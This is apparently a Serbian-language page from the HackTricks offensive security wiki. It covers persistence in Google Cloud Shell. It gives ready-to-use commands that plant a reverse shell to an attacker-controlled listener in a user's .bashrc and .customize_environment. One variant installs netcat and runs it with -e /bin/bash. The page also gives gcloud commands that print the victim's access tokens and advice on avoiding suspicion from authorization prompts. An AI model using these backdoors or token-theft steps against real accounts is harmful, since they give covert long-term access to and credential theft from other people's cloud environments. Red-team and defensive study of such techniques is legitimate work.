GCP - Cloud Shell Persistence

Reading time: 4 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Cloud Shell

Za više informacija pogledajte:

GCP - Cloud Shell Enum

Persistent Backdoor

Google Cloud Shell vam omogućava pristup komandnoj liniji vašim cloud resursima direktno iz vašeg pregledača bez ikakvih povezanih troškova.

Možete pristupiti Google-ovom Cloud Shell-u iz web konzole ili pokretanjem gcloud cloud-shell ssh.

Ova konzola ima neke zanimljive mogućnosti za napadače:

  1. Svaki Google korisnik sa pristupom Google Cloud-u ima pristup potpuno autentifikovanoj Cloud Shell instanci (Servisni nalozi mogu, čak i kao vlasnici organizacije).
  2. Ta instanca će održavati svoj home direktorijum najmanje 120 dana ako ne dođe do aktivnosti.
  3. Ne postoje mogućnosti za organizaciju da prati aktivnost te instance.

To u suštini znači da napadač može staviti backdoor u home direktorijum korisnika i sve dok se korisnik povezuje na GC Shell svake 120 dana, backdoor će preživeti i napadač će dobiti shell svaki put kada se pokrene jednostavno tako što će:

bash
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc

U home folderu postoji još jedna datoteka pod nazivom .customize_environment koja, ako postoji, će biti izvršena svaki put kada korisnik pristupi cloud shell-u (kao u prethodnoj tehnici). Samo umetnite prethodni backdoor ili jedan poput sledećeg da biste održali postojanost sve dok korisnik "često" koristi cloud shell:

bash
#!/bin/sh
apt-get install netcat -y
nc <LISTENER-ADDR> 443 -e /bin/bash

warning

Važno je napomenuti da se prvi put kada se izvrši akcija koja zahteva autentifikaciju, u pretraživaču korisnika pojavljuje prozor za autorizaciju. Ovaj prozor mora biti prihvaćen pre nego što se komanda može izvršiti. Ako se pojavi neočekivani prozor, to može izazvati sumnju i potencijalno kompromitovati metodu postojanosti koja se koristi.

Ovo je prozor koji se pojavljuje prilikom izvršavanja gcloud projects list iz cloud shell-a (kao napadač) u korisničkoj sesiji pretraživača:

Međutim, ako je korisnik aktivno koristio cloudshell, prozor se neće pojaviti i možete prikupiti tokene korisnika sa:

bash
gcloud auth print-access-token
gcloud auth application-default print-access-token

Kako se uspostavlja SSH veza

U osnovi, koriste se ova 3 API poziva:

Ali možete pronaći dodatne informacije na https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key

Reference

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks